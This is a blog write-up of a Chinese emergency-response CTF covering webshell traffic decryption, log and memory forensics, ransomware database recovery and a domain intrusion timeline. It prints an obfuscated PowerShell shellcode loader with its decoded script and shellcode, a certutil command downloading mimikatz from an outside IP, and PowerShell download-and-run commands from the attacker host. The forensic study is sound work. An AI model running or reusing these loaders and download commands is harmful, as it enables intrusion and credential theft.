loading

Solar应急响应做题记录

Solar应急响应

题目来源于https://www.qsnctf.com/

第一届solar应急响应比赛

之前做过一些,在这篇里有数字取证DIDCTF(超级缓慢更新) - Super_Snow_Sword - 博客园

签到

本题作为签到题,请给出邮服发件顺序。

Received: from mail.da4s8gag.com ([140.143.207.229])
by newxmmxszc6-1.qq.com (NewMX) with SMTP id 6010A8AD
for ; Thu, 17 Oct 2024 11:24:01 +0800
X-QQ-mid: xmmxszc6-1t1729135441tm9qrjq3k
X-QQ-XMRINFO: NgToQqU5s31XQ+vYT/V7+uk=
Authentication-Results: mx.qq.com; spf=none smtp.mailfrom=;
dkim=none; dmarc=none(permerror) header.from=solar.sec
Received: from mail.solar.sec (VM-20-3-centos [127.0.0.1])
by mail.da4s8gag.com (Postfix) with ESMTP id 2EF0A60264
for ; Thu, 17 Oct 2024 11:24:01 +0800 (CST)
Date: Thu, 17 Oct 2024 11:24:01 +0800
To: hellosolartest@qq.com
From: 克市网信
Subject:xxxxxxxxxx
Message-Id: <20241017112401.032146@mail.solar.sec>
X-Mailer: QQMail 2.x

XXXXXXXXXX

flag格式为flag{domain1|...|domainN}
  1. mail.solar.sec(主机名) → 本地注入到 mail.da4s8gag.com 的 Postfix

    ​ 证据:底部的 Received: from mail.solar.sec (VM-20-3-centos [127.0.0.1]) by mail.da4s8gag.com (Postfix) ...

    ​ 含义:邮件最初由 mail.solar.sec(在 mail.da4s8gag.com 这台机器上被识别为 VM-20-3-centos)提交到本机的 Postfix 进程,使用的是本地回环(127.0.0.1),说明是本机产生或本机内部服务提交的邮件。

  2. mail.da4s8gag.com (Postfix) → newxmmxszc6-1.qq.com (QQ 的 MX / NewMX收信服务器)

    ​ 证据:上层的 Received: from mail.da4s8gag.com ([140.143.207.229]) by newxmmxszc6-1.qq.com (NewMX) ...

    ​ 含义:mail.da4s8gag.com 把邮件通过公网 IP 140.143.207.229 发给 QQ 的收信服务器 newxmmxszc6-1.qq.com

  3. newxmmxszc6-1.qq.com 接收并处理 → 最终投递到目标邮箱 hellosolartest@qq.com

​ 证据:虽然贴的头没有显示后续 Delivered-To 或最终投递到用户邮箱的专有头行,但从 by newxmmxszc6-1.qq.com 可推断这是 QQ 的收信环节,之后 QQ 内部会把邮件投递到 hellosolartest@qq.com 的邮箱。X-QQ-mid/X-QQ-XMRINFO 是 QQ 给出的内部追踪信息。

即:

mail.solar.secmail.da4s8gag.comnewxmmxszc6-1.qq.com

  • Received: from mail.da4s8gag.com ([140.143.207.229])
    说明:这是一个 Received 报头的一部分,格式通常是 from <客户端名> (<客户端IP>)。这里表示:接收方的 MTA(邮件服务器,后文为 newxmmxszc6-1.qq.com)在收到邮件时记录,邮件来自主机名 mail.da4s8gag.com,该主机的公网 IP 为 140.143.207.229
    作用:记录一次传递(hop)的来源主机和来源 IP。
  • by newxmmxszc6-1.qq.com (NewMX) with SMTP id 6010A8AD
    说明:同一行继续,by <接收方MTA> 表示邮件是被 newxmmxszc6-1.qq.com(这是 QQ 邮件的某台 MX/收信服务器)接收的。括号里的 NewMX 是 MTA 的标识或软件,with SMTP id 6010A8AD 是该次会话/事务的内部 ID(便于追踪)。
    作用:说明哪台服务器接收了邮件以及该会话的标识号。
  • for ; Thu, 17 Oct 2024 11:24:01 +0800
    说明:for <收件人> 表示这个 hop 的目标收件人(通常写收件人地址),你这里 for ; 显示为空格或被抹去/未正确显示;后面是该 hop 的时间戳(本例为 2024-10-17 11:24:01,时区 +0800)。
    作用:记录该 hop 的接收时间与目标(有时会被过滤或省略)。
  • X-QQ-mid: xmmxszc6-1t1729135441tm9qrjq3k
    说明:QQ 内部为这封邮件分配的中间 ID(message ID / tracking id),用于 QQ 邮件系统内部的追踪、排障和统计。通常是内部元数据。
  • X-QQ-XMRINFO: NgToQqU5s31XQ+vYT/V7+uk=
    说明:QQ 的内部跟踪/路由/反垃圾等用的不可读(通常是 Base64 或加密)信息字段。对外部用户通常没有直接意义,只是内部追踪信息。
  • Authentication-Results: mx.qq.com; spf=none smtp.mailfrom=; dkim=none; dmarc=none(permerror) header.from=solar.sec
    说明:这是接收方(此处由 mx.qq.com)对邮件做的身份验证结果汇总,包含常见三项:SPF / DKIM / DMARC。详细解释:
  • spf=none smtp.mailfrom=;:SPF 检查结果为 none,同时显示 smtp.mailfrom= 为空 —— 说明发送时没有提供或无法识别发件人的 Envelope MAIL FROM(也可能是报头被裁剪),或者发送域没有 SPF 记录;none 表示没有匹配到 SPF 记录或未执行。
    • dkim=none:没有检测到 DKIM 签名(或签名不存在/未验证)。
    • dmarc=none(permerror) header.from=solar.sec:DMARC 检查为 none 并伴随 permerror(永久性错误),表示对 header.from(即信封/信头 From 所显示的域 solar.sec)进行 DMARC 检查时发生了某种错误(例如 DNS 查询失败、域配置问题或格式不合)。
      作用:告诉你这封邮件在到达 mx.qq.com 时的身份验证(反欺诈)结果,当前显示没有成功的 SPF/DKIM/DMARC 认证。
  • Received: from mail.solar.sec (VM-20-3-centos [127.0.0.1])
    说明:另一条 Received,表示 mail.da4s8gag.com 在接受邮件时记录来源为 mail.solar.sec,且该主机在其自身日志中把来源标记为 VM-20-3-centos,并显示 IP 为 127.0.0.1(本地回环地址)。
    含义要点:127.0.0.1 出现在 Received 中通常表示邮件是在 mail.da4s8gag.com 这台主机上本地注入的(即从本机的 MTA 或本机进程通过本地接口提交),而不是从公网另一台机器直接连过来。mail.solar.sec 是发送方宣称的主机名(HELO/EHLO 名称或本地 MUA 名)。
  • by mail.da4s8gag.com (Postfix) with ESMTP id 2EF0A60264
    说明:这一 hop 的接收方是 mail.da4s8gag.com,它运行的是 Postfix MTA,使用 ESMTP 协议,事务/会话 ID 为 2EF0A60264
    作用:记录此 MTA 接收邮件的细节(MTA 类型、协议与内部会话 ID)。
  • for ; Thu, 17 Oct 2024 11:24:01 +0800 (CST)
    说明:同上,说明这个 hop 的时间戳(注意与前一条 Received 的时间相同)。CST 在这儿等于 +0800(中国标准时间)。
  • Date: Thu, 17 Oct 2024 11:24:01 +0800
    说明:邮件的 Date 报头,由发送方的 MUA / MTA 设置,表示发件人声明的发信时间。它可以被伪造或与实际传输时间不一致,但通常用于显示给收件者。
  • To: hellosolartest@qq.com
    说明:邮件头部的收件人(显示收件人)。注意实际投递时 MTA 使用的 envelope recipient(即 SMTP RCPT TO)可能与此略有不同,但通常相同。
  • From: 克市网信
    说明:邮件头部的发件人显示名(From 的 display name);实际的电子邮件地址没有显示在你贴出的那一行(可能被省略或在同一行没有显示完整)。From 头可以被伪造(这是显示给人的发件人信息)。
  • Subject: xxxxxxxxxx
    说明:邮件主题。
  • Message-Id: <20241017112401.032146@mail.solar.sec>
    说明:每封邮件通常有一个 Message-ID,由发送方的 MTA/MUA 生成,用于在邮件线程、去重、追踪时作为唯一标识。格式通常包含时间戳和产生该 ID 的主机域(这里是 mail.solar.sec)。
  • X-Mailer: QQMail 2.x
    说明:发信客户端/软件信息,表示发送方使用(或伪造为)QQMail 2.x 来发送这封邮件。X- 开头的头通常是可选的扩展信息,并不保证真实。

日志流量-1

题目文件:tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击:
黑客疑似删除了webshell后门,小王找到了可能是攻击痕迹的文件但不一定是正确的,请帮他排查一下。

GeoServer 是一个 开源地理信息服务器(GIS Server),用于发布、共享和管理地理空间数据。它允许用户通过标准的网络协议(如 WMS、WFS、WMTS、WCS)来访问和操作空间数据。

进行流量分析,发现木马b.jsp

image-20250321123342255

在给出的网站根目录中也能找到这个木马文件:

image-20250321123525386

当访问 JSP 页面时,Tomcat 会根据 JSP 页面动态生成一个 Java 类(.java),然后将其编译为 .class 文件。生成的 .class 文件是 Tomcat 用来处理请求并返回响应的实际代码。

这个过程是动态的,Tomcat 会在后台管理这些文件的编译和更新。路径一般为:<Tomcat_home>/work/Catalina/<host>/<webapp>/org/apache/jsp/

找到b_jsp.class可以发现是哥斯拉自动生成的webshell木马:

image-20250321123732034

哥斯拉webshell特征:

选择默认脚本编码生成的情况下,jsp会出现xc,pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码等特征

xc:AES 加密密钥(16 字节)

在整个 b.jsp 文件中,code 变量只是被定义了,但并没有被直接使用,也没有被传递给任何方法或函数。

进行解码:

image-20250321124359961

日志流量-2

题目文件:tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。

对流量进行过滤分析:

http.request.full_uri contains "b.jsp"

image-20250321125123997

根据得到的密钥使用蓝队工具进行解密:

image-20250321125235473

找到读取flag.txt的流量:

image-20250321125811551

对返回包进行解密:

image-20250321130033947

日志流量-3

题目文件:tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,黑客疑似通过webshell上传了文件,请看看里面是什么。

image-20250321130456524

可以发现上传的PDF文件,我们对其进行导出即可得到flag:

image-20250321132735852

(目前没有找到有什么可以直接进行导出的工具,这里用的是puzzlesolver-pro)

image-20250321134811036

用cyberchef的话就需要删除HEX前面不必要的部分,但我不知道如何分辨哪里必要哪里不必要:

image-20250321135103559

数据库-1

题目附件:mssql、mssql题-备份数据库
请找到攻击者创建隐藏账户的时间

这次详细讲讲题目背景:

操作系统已经被黑客攻击导致修改用户口令、锁定登陆、破坏系统,因此我们无法直接启动靶机

为了应急并分析,我们需要制作PE系统。

PE系统

当你的机器被黑客入侵、用户口令被篡改或系统被锁定,直接在被攻击的系统上操作有可能破坏取证线索或被远程攻击者干预。PE(Preinstallation Environment)是为这种情况设计的救援环境:它是一种可以从 U 盘或光盘启动的临时操作系统(例如 Windows 的 WinPE 或各种 Linux Live 系统),能在不启动目标系统原操作系统的前提下挂载磁盘、导出数据、制作磁盘镜像并进行离线分析。使用 PE 的基本原则是“先保全证据、再修复系统”:首要任务应是把整盘镜像导出并校验(md5/sha256),在镜像上进行分析与清理,避免直接对原盘写操作。

在文章数字取证DIDCTF(超级缓慢更新) - Super_Snow_Sword - 博客园中我使用的是取证大师进行了黑客攻击利用的分析,真正做到应急响应中恢复系统正常使用的步骤用的是仿真大师登进了系统(登录密码绕过了),这次使用PE系统进行系统恢复

官方WP使用的PE系统:下载 - HotPE

尝试打开靶机,不知道密码:

image-20251029120554931

在靶机的虚拟机编辑设置CD/DVD处选择pe镜像

image-20251029121522733

选择电源-->打开电源时进入固件

img

在boot选项中使用键盘+调整启动顺位

image-20251029121739817

重启后即可在PE系统中分析文件了:

image-20251029121946371

为了得知攻击者创建隐藏账户的时间,查看D:\Windows\System32\winevt\Logs\Security.evtx(使用项目:feiniao112/windows-log-analyzer: Window日志分析工具

image-20251029133420495

(东八区加上8小时)

数据库-2

题目附件:mssql、mssql题-备份数据库
请找到恶意文件的名称

image-20251029134038664

数据库-3

题目附件:mssql、mssql题-备份数据库
请找到恶意文件的外联地址

在恶意文件的配置config.json文件中可以看到外联的url为“sierting.com”:

image-20250321195801077

dns解析得到外联地址IP

image-20250321200025670

数据库-4

题目附件:mssql、mssql题-备份数据库
请修复数据库

数据库修复由真实事件改编:【病毒分析】lockbit家族百万赎金不必付!技术手段修复被加密的数据库,附溯源分析报告

被勒索主机被加密数据库路径C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\DATA\,加密损坏了表结构,因此题目给的是表结构一致的mdf作为参照mdf

使用D-Recovery SQL Server进行恢复:

image-20251029141119270

image-20251029141238619

恢复成功

数据库-5

题目附件:mssql、mssql题-备份数据库
请提交powershell命令中恶意文件的MD5

打开事件查看器,分析powershell日志,发现可疑执行日志:

image-20250325114935552

事件ID 400:PowerShell 运行空间(Runspace)已启动并初始化。

事件ID 600:PowerShell 运行空间(Runspace)已关闭或终止。

powershell.exe -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('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{0}')-f'A','f','M')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
  • New-Object System.IO.MemoryStream:用于 Base64 编码的字符串创建内存流。
  • System.IO.Compression.GzipStream:解压缩 Gzip 编码的数据流。
  • ReadToEnd():读取并执行解压后的数据内容。

解码发现内容是Gzip编码的数据流

image-20250325115200253

进行解码:

image-20250325115245320

function tWk {
    Param ($k0M, $ybp)
    # 获取 System.dll(用于访问 Win32 API)
    $f2w = ([AppDomain]::CurrentDomain.GetAssemblies() | 
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).
        GetType('Microsoft.Win32.UnsafeNativeMethods')

    # 获取 GetProcAddress API 的方法句柄(用于获取函数地址)
    return $f2w.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).
        Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef(
            (New-Object IntPtr), 
            ($f2w.GetMethod('GetModuleHandle')).Invoke($null, @($k0M))
        ))), $ybp))
}

function lVhI5 {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $v8K8,  # 参数类型数组
        [Parameter(Position = 1)] [Type] $nZWM = [Void]               # 返回值类型,默认为 Void
    )

    # 创建动态程序集、模块和类(用于创建委托类型)
    $p8dl = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
        (New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
        [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
        DefineDynamicModule('InMemoryModule', $false).
        DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

    # 定义构造函数
    $p8dl.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $v8K8).
        SetImplementationFlags('Runtime, Managed')

    # 定义方法
    $p8dl.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $nZWM, $v8K8).
        SetImplementationFlags('Runtime, Managed')

    return $p8dl.CreateType()
}

# 解码 Base64 编码的 shellcode
[Byte[]]$tUZml = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V")

[Uint32]$uKrz = 0

# 申请内存(VirtualAlloc),用于存放 shellcode
$rS = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (tWk kernel32.dll VirtualAlloc), 
    (lVhI5 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).
    Invoke([IntPtr]::Zero, $tUZml.Length, 0x3000, 0x04)

# 复制 shellcode 到分配的内存
[System.Runtime.InteropServices.Marshal]::Copy($tUZml, 0, $rS, $tUZml.length)

# 修改内存权限(VirtualProtect),使 shellcode 可执行
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
        (tWk kernel32.dll VirtualProtect), 
        (lVhI5 @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).
        Invoke($rS, [Uint32]$tUZml.Length, 0x10, [Ref]$uKrz)) -eq $true) {

    # 创建新线程(CreateThread),执行 shellcode
    $yfm6I = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
        (tWk kernel32.dll CreateThread), 
        (lVhI5 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).
        Invoke([IntPtr]::Zero, 0, $rS, [IntPtr]::Zero, 0, [IntPtr]::Zero)

    # 等待线程执行完成(WaitForSingleObject)
    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
        (tWk kernel32.dll WaitForSingleObject), 
        (lVhI5 @([IntPtr], [Int32]))).
        Invoke($yfm6I, 0xffffffff) | Out-Null
}

恶意文件即为shellcode解码后的内容,我们解码后计算MD5即可:

image-20250325120123046

内存取证-1

题目文件:SERVER-2008-20241220-162057
请找到rdp连接的跳板地址

使用volatility加载内存镜像,分析其网络连接状况:

volatility.exe -f SERVER-2008-20241220-162057.raw windows.netscan

image-20250325124030004

可以发现192.168.60.150的3389端口(远程桌面)连接到了192.168.60.220:34121svchost.exe 是 Windows 系统服务的宿主进程,可能与远程桌面服务相关。)

内存取证-2

题目文件:SERVER-2008-20241220-162057
请找到攻击者下载黑客工具的IP地址

查看历史命令是否存在:

volatility.exe -f SERVER-2008-20241220-162057.raw windows.consoles
如果没有consoles插件就使用volatility2中的cmdscan

image-20250325125200128

可以发现执行过命令:

certutil -urlcache -split -f http://155.94.204.67:85/mimikatz.exe C:\Windows\Temp\mi.exe
参数 作用
certutil Windows 证书管理工具,常被滥用于文件下载
-urlcache 访问远程 URL 并缓存文件
-split 处理大文件时分块下载
-f 强制下载文件(即使已有缓存)
http://155.94.204.67:85/mimikatz.exe 目标 URL,提供 mimikatz.exe
C:\Windows\Temp\mi.exe 本地保存路径

内存取证-3

题目文件:SERVER-2008-20241220-162057
攻击者获取的“FusionManager节点操作系统帐户(业务帐户)”的密码是什么

根据上一题的命令分析type pass.txt

可以发现存在pass.txt文件,我们进行文件分析:

volatility.exe -f SERVER-2008-20241220-162057.raw windows.filescan

image-20250325130016748

将其dump导出:

volatility.exe -f SERVER-2008-20241220-162057.raw -o output windows.dumpfile --physaddr 0x7e4cedd0

image-20250325130227518

内存取证-4

题目文件:SERVER-2008-20241220-162057
请找到攻击者创建的用户

搜索并导出Security.evtx安全日志文件进行分析(搜索创建用户事件ID4720):

image-20250325130834057

内存取证-5

题目文件:SERVER-2008-20241220-162057
请找到攻击者利用跳板rdp登录的时间

继续在安全日志中分析该用户登录成功事件(ID4624):

image-20250325131225904

内存取证-6

题目文件:SERVER-2008-20241220-162057
请找到攻击者创建的用户的密码哈希值

分析密码哈希转储:

volatility.exe -f SERVER-2008-20241220-162057.raw windows.hashdump

image-20250325131443532

逆向破解-1

题目文件:【题目】加密器逆向
请逆向该加密器,解密机密文件

官方WP:

在createfileW处下断点,

img

断住之后发现输入的参数为一个文件路径

跟踪发现这里使用随机数生成了六位密钥

img

将生成的密钥%10,即生成0-9的密钥

img

明显的rc4特征,rc4密钥初始化

img

交换数组位置,这里就是利用key生成s盒,相当于

for i in 0..256 {
    j = (j + s[i]  + key[i % key.len()] ) % 256;
    s.swap(i, j);
}

img

使用刚刚读取到的内容(v5),利用PRGA生成秘钥流并与密文字节异或,完成rc4加密

img

生成字符串

img

如下

img

再次生成字符串

img

如下

img

将加密后的字符串和自解密生成的字符串拼接,其中自解密生成的字符串无实际用途,每次生成的都一样,仅为加密特征。

img

img

创建文件

img

img

写入文件

img

由于密钥是随机生成的,但是因为密钥只有6位而且取值为0-10,因此可以直接爆破出结果

import itertools
import os
from concurrent.futures.thread import ThreadPoolExecutor


def rc4(key, data):
    key_length = len(key)
    S = list(range(256))
    j = 0

    for i in range(256):
        j = (j + S[i] + key[i % key_length]) % 256
        S[i], S[j] = S[j], S[i]

    i = 0
    j = 0
    result = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        result.append(byte ^ K)

    return result

def is_printable(data):
    try:
        return all(32 <= byte <= 126 for byte in data)
    except TypeError:
        return False

ciphertext = []#加密后的数据




def run(key_tuple ):
    key = list(key_tuple)
    decrypted_data = rc4(key, ciphertext)
    # 判断是否解密后的数据是可打印的
    if is_printable(decrypted_data):
        decrypted_string = ''.join(chr(byte) for byte in decrypted_data)
        if 'flag' in decrypted_string:
            print(f"找到有效密钥: {key} -> 解密结果: {decrypted_string}")
max_threads = os.cpu_count()*2
print(max_threads)
with ThreadPoolExecutor(max_workers=max_threads) as executor:
    executor.map(run, itertools.product(range(0, 10), repeat=6))

img

其中加密后缀为一个假的flag,但是可以解出结果

img

综合应急

【病毒分析】lockbit家族百万赎金不必付!技术手段修复被加密的数据库,附溯源分析报告

19.dc02是一台拥有双网卡的服务器,他的ip分别是?(多选)
A.10.0.100.22 B.10.0.11.6 C.10.0.11.7 D.10.0.10.43

20.该企业有三个域,请问这三个域的域名分别是什么?(多选)
A.set.local B.sub.set.com C.set.com D.solar.com

21.以下哪些描述正确地反映了这些域之间的信任关系?
A. 林1主域与林1子域之间存在双向信任关系
B. 林1子域可以信任林1主域,但林1主域不能信任林1子域
C. 林2主域与林1子域之间存在双向信任关系
D. 林2主域与林1子域之间不存在信任关系

22.攻击者在获取dc03之后,可能还攻击了哪些服务器?
A.10.0.11.10 B.10.0.11.11 C.10.0.11.8 D.10.0.11.236

img

官方WP、参考文章2024第一届Solar杯应急响应挑战赛 WP | Aura Blog

1.哪台服务器是最先沦陷的?(计算机名)
A.sql01 B.sql02 C.web01 D.dc02

24/12/18 9:01:40分以sa账户连接数据库sql01

img

2.攻击者创建了一个恶意的程序集,程序集名为?
A.Classlibarry3 B.CmdExec C.Classlibarry1 D.Classlibarry2

3.攻击者利用程序集第一次执行的命令是什么?
A.powershell -c iwr -uri http://10.0.100.85:81/2.exe -o C:/windows/tasks/2.exe
B.powershell -c C:/windows/tasks/2.exe
C.cmd.exe /c powershell -c C:/windows/tasks/2.exe
D.cmd.exe /c powershell -c iwr -uri http://10.0.100.85:81/2.exe -o C:/windows/tasks/2.exe

24/12/18 9:02:04 由sqlservr.exe通过clr调用cmd.exe而后执行powershell -c iwr -uri http://10.0.100.85:81/2.exe -o C:/windows/tasks/2.exe

img

img

24/12/18 9:02:08 执行木马

img

24/12/18 9:02:15创建管道spoolss,9:02:18 获取system权限

img

img

24/12/18 9:02:50访问进程lsass.exe,推测攻击者从中获取哈希

img

5.攻击者第一次远程登陆的用户是什么?
A.administrator B.admin C.test$ D.sql01

24/12/18 9:03:27 使用sql01账户通过wmi连接服务器

img

4.攻击者新建的用户是什么?
A.administrator B.admin C.test$ D.sql01

24/12/18 9:03:54 创建用户admin

img

15.攻击者ip是什么?
A.10.0.10.41 B.10.0.100.38 C.10.0.10.40 D.10.0.100.85

24/12/18 9:03:55发现攻击者ip 10.0.100.85

img

16.攻击者在第一台服务器执行过一个powershell的脚本,该脚本的名称是什么?
A.pv.ps1 B.powerview.ps1 C.run.ps1 D.Powermad.ps1

24/12/18 9:05:14加载了pv.ps1,从文本中可发现该脚本实际为PowerView.ps1,主要作用是在域内做信息收集。

img

img

img

24/12/18 9:10:44 进行dns查询

img

24/12/18 9:11:15 修改administrator账户密码为Password@123

img

6.攻击者的计算机名是什么?
A.Kali B.sql01 C.sql02 D.dc02

24/12/18 9:11:24.000 攻击者使用sql01本地管理员administrator账户RDP登陆服务器

img

24/12/18 9:11:26.000 修改防火墙配置

img

7.攻击者第一次登陆第二台沦陷服务器数据库使用了什么账户?
A.administrator B.sql01 C.sql02 D.admin

8.攻击者在第二台服务器上传并执行了木马,紧接着修改了系统的什么的配置?
A.防火墙 B.Defender C.服务 D.定时任务

24/12/18 9:16:19.220 攻击者使用sql01账户登陆sql02数据库,之后执行命令下载木马并执行木马,提权后修改了sql02本地管理员administrator

img

img

9.攻击者可能通过什么漏洞横向到第三台沦陷的服务器?
A. 命令执行 B.文件上传 C.弱口令 D.文件上传+文件读取

17.对第三台沦陷的服务器发起漏洞攻击的IP是什么?
A.10.0.10.41 B.10.0.100.38 C.10.0.10.40 D.B.10.0.100.85

24/12/18 9:22:07.000 疑似利用web漏洞执行命令

img

24/12/18 9:26:46.000 创建调用PowerView.ps1

img

10.攻击者通过应用的漏洞获取了第三台沦陷的服务器权限,该权限用户安全 ID为?
A.S-1-5-21-1687412249-3843849720-271823590-1106 B.S-1-5-21-1687412249-3843849720-271823590-500
C.S-1-5-21-1687412249-3843849720-271823590-1001 D.S-1-5-21-1687412249-3843849720-271823590-1100

11.攻击者紧接着调用了一个powershell脚本,该脚本的作用是什么?
A.横向渗透 B.读取凭据 C.远控 D.信息收集

24/12/18 9:33:54.000 web应用为域用户iis权限

img

img

18.攻击者什么时候修改了web01的管理员账号密码?
A.24/12/18 9:59:44.000 B.24/12/18 9:57:42.000 B.24/12/18 9:50:00.000 B.24/12/18 10:08:12.000

24/12/18 9:59:44.000 修改web01本地管理员administrator密码

img

24/12/18 9:59:50 rdp连接

img

24/12/18 10:12:14 关闭防火墙

img

13.攻击者使用什么漏洞获取dc02的票据(多选)
A.CVE-2021-1675(Windows Print Spooler权限提升) B.无约束委派 C.约束委派 D.MS14-025

24/12/18 10:12:19 攻击者利用无约束委派请求票据,获取票据后利用票据获取域内账户hash

img

img

12.攻击者利用了什么工具使web01和dc02进行交互?
A.SpoolSample.exe B.impacket-ntlmrelayx C.Smbclient D.printerbug.py

24/12/18 10:31:08 攻击者通过winrm使用administrator哈希登陆dc02

img

24/12/18 10:31:20 修改域管理员密码

img

24/12/18 10:31:28 RDP登陆

img

14.攻击者使用什么漏洞获取dc03的票据(多选)
